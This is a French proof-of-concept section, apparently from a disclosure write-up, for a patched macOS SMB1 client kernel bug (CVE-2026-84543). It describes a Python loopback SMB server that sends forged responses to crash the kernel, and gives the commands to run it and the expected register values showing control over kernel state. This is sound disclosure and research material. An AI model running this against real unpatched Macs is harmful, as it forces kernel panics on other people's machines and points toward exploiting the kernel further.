Preuve de concept

Cette preuve de concept devrait provoquer un kernel panic et redémarrer un Mac affecté.

Les builds de test affectés utilisés lors de la recherche étaient macOS Tahoe 26.4 (25E246) et macOS 26.5 bêta 4 (25F5068a). Apple a corrigé CVE-2026-84543 dans macOS Golden Gate 27, Tahoe 26.7 et Sequoia 15.8.

PoC inclus

smb1_unix_whoami_poc.py est le serveur de capture de preuves en loopback. Il utilise uniquement la bibliothèque standard de Python et :

• lit la valeur _COMM_PAGE_ASB_TARGET_KERN_VALUE du démarrage en cours sur Apple silicon ;
• sert un partage SMB1 invité en loopback ;
• renvoie une réponse SMB_QFS_POSIX_WHOAMI (0x0202) forgée pour créer l'état incohérent de compteur/pointeur ; et
• renvoie des attributs UNIX_INFO2 (0x020B) contenant des valeurs canary reconnaissables pour la provenance des registres au moment du panic.

Reproduction

Dans le terminal A :

cd poc
sudo python3 smb1_unix_whoami_poc.py \
  --bind 127.0.0.1 \
  --port 445 \
  --log /tmp/CVE-2026-84543-poc.log

Notez la valeur ASB_TARGET_KERN_VALUE affichée ; elle est randomisée à chaque démarrage.

Dans le terminal B :

mkdir -p ~/mnt/cve-2026-84543
mount_smbfs //[email protected]/share ~/mnt/cve-2026-84543

Relations attendues entre registres

Avec T égal à la valeur canary du noyau affichée au démarrage :

x8  = T
x9  = T
x10 = T & 0x1ff
x11 = T
x12 = T & 0x7fffffff
x13 = 0
x14 = (T & 0x7fffffff) - 1

Les bits spécifiques dans x8, x9 et x11 établissent la provenance. Les relations observées fournissent un lien octet par octet entre les champs de réponse du serveur et l'état des registres du noyau en cours d'exécution.